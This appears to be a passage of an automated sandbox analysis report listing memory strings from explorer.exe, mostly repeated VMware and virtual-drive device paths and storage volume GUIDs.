Source: explorer.exe, 00000010.00000003.878209203.000000000D611000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B4
Source: explorer.exe, 00000010.00000000.836821710.00000000062B2000.00000004.00000001.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:
Source: explorer.exe, 00000010.00000000.879501670.0000000005E3D000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000010.00000003.872436336.0000000006382000.00000004.00000001.sdmp Binary or memory string: 0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}LocalState
Source: explorer.exe, 00000010.00000003.881532732.000000000D246000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B*
Source: explorer.exe, 00000005.00000000.718086170.000000000A60E000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000010.00000000.836697354.0000000006210000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}\6
Source: explorer.exe, 00000010.00000003.879179015.000000000D245000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B0
Source: explorer.exe, 00000010.00000000.836821710.00000000062B2000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000010.00000003.872185534.0000000006376000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}1h2txyewyF
Source: explorer.exe, 00000005.00000000.711383115.0000000004710000.00000004.00000001.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000010.00000003.880579348.000000000D246000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B'
Source: explorer.exe, 00000005.00000000.718270528.000000000A716000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000005.00000000.718270528.000000000A716000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: explorer.exe, 00000010.00000003.860008455.0000000006348000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Q
Source: explorer.exe, 00000010.00000003.866529774.0000000006348000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}S
Source: explorer.exe, 00000010.00000003.866529774.0000000006348000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}T
Source: explorer.exe, 00000010.00000003.866529774.0000000006348000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}U
Source: explorer.exe, 00000010.00000003.866529774.0000000006348000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}W
Source: explorer.exe, 00000010.00000000.876781324.0000000004B84000.00000004.00000001.sdmp Binary or memory string: ;;SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000010.00000000.880581056.000000000624C000.00000004.00000001.sdmp Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000010.00000003.864798246.0000000006360000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}BJ
Source: explorer.exe, 00000010.00000000.876781324.0000000004B84000.00000004.00000001.sdmp Binary or memory string: AASCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000010.00000000.880924733.0000000006376000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}O
Source: explorer.exe, 00000010.00000003.866529774.0000000006348000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}P
Source: explorer.exe, 00000010.00000003.861766817.000000000635C000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}BA
Source: explorer.exe, 00000010.00000003.878209203.000000000D611000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B;
Source: explorer.exe, 00000010.00000003.872185534.0000000006376000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Microsoft.WindowBK
Source: explorer.exe, 00000010.00000003.866529774.0000000006348000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}^
Source: explorer.exe, 00000010.00000003.855183935.000000000635C000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Bt
Source: explorer.exe, 00000010.00000000.880924733.0000000006376000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0
Source: explorer.exe, 00000010.00000000.880892139.0000000006362000.00000004.00000001.sdmp Binary or memory string: 053bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}A
Source: explorer.exe, 00000010.00000003.880238735.000000000D246000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Bi
Source: explorer.exe, 00000010.00000003.879526346.000000000D246000.00000004.00000001.sdmp Binary or memory string: 6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B0
Source: explorer.exe, 00000010.00000003.864125879.000000000D60B000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Bm
Source: explorer.exe, 00000005.00000000.718270528.000000000A716000.00000004.00000001.sdmp Binary or memory string: War&Prod_VMware_SATAa
Source: explorer.exe, 00000010.00000003.879526346.000000000D246000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B
